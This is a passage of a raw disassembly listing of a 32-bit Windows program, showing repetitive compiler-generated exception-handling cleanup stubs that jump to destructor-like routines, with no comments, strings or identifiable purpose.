--------------------------------------------------------------------------- lea ecx, [ebp-604h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-634h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-664h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-67Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-61Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-58Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-694h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5BCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-64Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40DC20 proc near ; DATA XREF: sub_40DC20+2o mov eax, offset dword_4405D8 jmp sub_437AB8 SEH_40DC20 endp ; --------------------------------------------------------------------------- db 27h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A228: ; DATA XREF: ___:0044069Co lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40E2F0 proc near ; DATA XREF: sub_40E2F0+2o mov eax, offset dword_440670 jmp sub_437AB8 SEH_40E2F0 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A278: ; DATA XREF: ___:004406F4o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40E870 proc near ; DATA XREF: sub_40E870+2o mov eax, offset dword_4406C8 jmp sub_437AB8 SEH_40E870 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A2C8: ; DATA XREF: ___:0044074Co lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40ED00 proc near ; DATA XREF: sub_40ED00+2o mov eax, offset dword_440720 jmp sub_437AB8 SEH_40ED00 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40EE40 proc near ; DATA XREF: sub_40EE40+2o mov eax, offset dword_440760 jmp sub_437AB8 SEH_40EE40 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A318: ; DATA XREF: ___:004407BCo lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A348: ; DATA XREF: ___:0040F218o mov eax, offset dword_440790 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] jmp sub_40204F ; --------------------------------------------------------------------------- loc_43A378: ; DATA XREF: ___:0044081Co mov ecx, [ebp-28h] add ecx, 28h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 3Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 56h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 84h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 0B2h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 0E0h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 10Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 13Ch jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 16Ah jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 198h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 1C6h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 1F4h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 222h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 250h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 27Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 2ACh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 2DAh jmp sub_401B68 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40F6D0 proc near ; DATA XREF: sub_40F6D0+2o mov eax, offset dword_4407F0 jmp sub_437AB8 SEH_40F6D0 endp ; --------------------------------------------------------------------------- db 69h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40204F ; --------------------------------------------------------------------------- loc_43A568: ; DATA XREF: ___:0044097Co mov ecx, [ebp-10h] add ecx, 28h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 56h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B2h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E0h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 13Ch jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Ah jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 198h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1C6h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1F4h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 222h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 250h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 27Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2ACh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40FE70 proc near ; DATA XREF: sub_40FE70+2o mov eax, offset dword_440950 jmp sub_437AB8 SEH_40FE70 endp ; --------------------------------------------------------------------------- db 47h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-247Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A69B: ; DATA XREF: ___:00440A34o lea ecx, [ebp-210Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-207Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6B1: ; DATA XREF: ___:00440A44o lea ecx, [ebp-237Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6BC: ; DATA XREF: ___:00440A4Co lea ecx, [ebp-21CCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6C7: ; DATA XREF: ___:00440A54o lea ecx, [ebp-234Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6D2: ; DATA XREF: ___:00440A5Co lea ecx, [ebp-2064h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6DD: ; DATA XREF: ___:00440A64o lea ecx, [ebp-231Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6E8: ; DATA XREF: ___:00440A6Co lea ecx, [ebp-219Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6F3: ; DATA XREF: ___:00440A74o lea ecx, [ebp-20DCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-22ECh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A709: ; DATA XREF: ___:00440A84o lea ecx, [ebp-22BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A714: ; DATA XREF: ___:00440A8Co lea ecx, [ebp-23DCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A71F: ; DATA XREF: ___:00440A94o lea ecx, [ebp-216Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A72A: ; DATA XREF: ___:00440A9Co lea ecx, [ebp-2424h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-23F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-228Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-23C4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-225Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A799: ; DATA XREF: ___:00440AE4o lea ecx, [ebp-213Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A7A4: ; DATA XREF: ___:00440AECo mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- loc_43A7B2: ; DATA XREF: ___:00440AF4o mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- loc_43A7C0: ; DATA XREF: ___:00440AFCo lea ecx, [ebp-21FCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-20ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-222Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A7E1: ; DATA XREF: ___:00440B14o lea ecx, [ebp-2394h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-23ACh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A7F7: ; DATA XREF: ___:00440B24o lea ecx, [ebp-2334h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2364h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A80D: ; DATA XREF: ___:00440B34o lea ecx, [ebp-2304h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A818: ; DATA XREF: ___:00440B3Co lea ecx, [ebp-22D4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A823: ; DATA XREF: ___:00440B44o mov ecx, [ebp-2480h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A82E: ; DATA XREF: ___:00440B4Co lea ecx, [ebp-22A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A839: ; DATA XREF: ___:00440B54o lea ecx, [ebp-2244h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2274h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A84F: ; DATA XREF: ___:00440B6Co lea ecx, [ebp-2214h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A85A: ; DATA XREF: ___:00440B7Co lea ecx, [ebp-21E4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A865: ; DATA XREF: ___:00440B84o lea ecx, [ebp-2184h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-21B4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A87B: ; DATA XREF: ___:00440B9Co lea ecx, [ebp-243Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-240Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A891: ; DATA XREF: ___:00440BB4o lea ecx, [ebp-2124h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2154h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A8A7: ; DATA XREF: ___:00440BC4o lea ecx, [ebp-20F4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A8B2: ; DATA XREF: ___:00440BCCo lea ecx, [ebp-2094h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-2464h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-20C4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A8D3: ; DATA XREF: sub_410030+8o mov eax, offset dword_440A08 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 93h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40204F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411930 proc near ; DATA XREF: sub_411930+2o mov eax, offset dword_440C18 jmp sub_437AB8 SEH_411930 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40204F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4119E0 proc near ; DATA XREF: sub_4119E0+2o mov eax, offset dword_440C48 jmp sub_437AB8 SEH_4119E0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A9B8: ; DATA XREF: ___:00440CA4o mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 54h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 69h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411A60 proc near ; DATA XREF: sub_411A60+2o mov eax, offset dword_440C78 jmp sub_437AB8 SEH_411A60 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AA18: ; DATA XREF: ___:00440CFCo mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 54h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 69h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411B20 proc near ; DATA XREF: sub_411B20+2o mov eax, offset dword_440CD0 jmp sub_437AB8 SEH_411B20 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411C10 proc near ; DATA XREF: sub_411C10+8o mov eax, offset dword_440D28 jmp sub_437AB8 SEH_411C10 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AAE8: ; DATA XREF: ___:00440DD4o lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4120B0 proc near ; DATA XREF: sub_4120B0+8o mov eax, offset dword_440DA8 jmp sub_437AB8 SEH_4120B0 endp ; --------------------------------------------------------------------------- db 2Dh dup(0CCh) ; --------------------------------------------------------------------------- loc_43AB90: ; DATA XREF: ___:00440E74o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-48h] and eax, 1 test eax, eax jz locret_43ABAE mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43ABAE: ; CODE XREF: ___:0043ABA0j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_412780 proc near ; DATA XREF: sub_412780+2o mov eax, offset dword_440E48 jmp sub_437AB8 SEH_412780 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43ABD8: ; DATA XREF: ___:00440EACo lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_412A40 proc near ; DATA XREF: sub_412A40+8o mov eax, offset dword_440E80 jmp sub_437AB8 SEH_412A40 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_412CE0 proc near ; DATA XREF: sub_412CE0+2o mov eax, offset dword_440EB8 jmp sub_437AB8 SEH_412CE0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AC18: ; DATA XREF: ___:00440F14o lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-9Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AC4E: ; DATA XREF: ___:00412D88o mov eax, offset dword_440EE8 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43AC7B: ; DATA XREF: ___:00440F74o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_4011B8 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Ch jmp sub_4014BF ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4131F0 proc near ; DATA XREF: sub_4131F0+2o mov eax, offset dword_440F48 jmp sub_437AB8 SEH_4131F0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_4011B8 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Ch jmp sub_4014BF ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4132F0 proc near ; DATA XREF: sub_4132F0+2o mov eax, offset dword_440F90 jmp sub_437AB8 SEH_4132F0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4133B0 proc near ; DATA XREF: sub_4133B0+2o mov eax, offset dword_440FD8 jmp sub_437AB8 SEH_4133B0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4134A0 proc near ; DATA XREF: sub_4134A0+2o mov eax, offset dword_441010 jmp sub_437AB8 SEH_4134A0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4135E0 proc near ; DATA XREF: sub_4135E0+2o mov eax, offset dword_441040 jmp sub_437AB8 SEH_4135E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+1Ch] jmp sub_401582 ; --------------------------------------------------------------------------- loc_43AD78: ; DATA XREF: ___:0044109Co lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413740 proc near ; DATA XREF: sub_413740+2o mov eax, offset dword_441070 jmp sub_437AB8 SEH_413740 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AD98: ; DATA XREF: ___:004410D4o lea ecx, [ebp-0A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-8Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4138B0 proc near ; DATA XREF: sub_4138B0+2o mov eax, offset dword_4410A8 jmp sub_437AB8 SEH_4138B0 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+1Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43ADD8: ; DATA XREF: ___:00441114o lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_401582 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413A80 proc near ; DATA XREF: sub_413A80+2o mov eax, offset dword_4410E8 jmp sub_437AB8 SEH_413A80 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AE08: ; DATA XREF: ___:00413BB2o mov eax, offset dword_441128 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AE28: ; DATA XREF: ___:00441184o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AE30: ; DATA XREF: ___:0044118Co mov eax, [ebp-40h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- loc_43AE3B: ; DATA XREF: ___:00441194o lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413C40 proc near ; DATA XREF: sub_413C40+2o mov eax, offset dword_441158 jmp sub_437AB8 SEH_413C40 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+64h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AE68: ; DATA XREF: ___:004411CCo lea ecx, [ebp+4Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+34h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+1Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413E70 proc near ; DATA XREF: sub_413E70+2o mov eax, offset dword_4411A0 jmp sub_437AB8 SEH_413E70 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AEBB: ; DATA XREF: ___:00441224o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414160 proc near ; DATA XREF: sub_414160+2o mov eax, offset dword_4411F8 jmp sub_437AB8 SEH_414160 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AEF8: ; DATA XREF: ___:00441264o mov ecx, [ebp+14h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp+10h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp+0Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AF10: ; DATA XREF: ___:004141F2o mov eax, offset dword_441238 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+4Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AF38: ; DATA XREF: ___:004412ACo lea ecx, [ebp+34h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+1Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414300 proc near ; DATA XREF: sub_414300+2o mov eax, offset dword_441280 jmp sub_437AB8 SEH_414300 endp ; --------------------------------------------------------------------------- db 1Bh 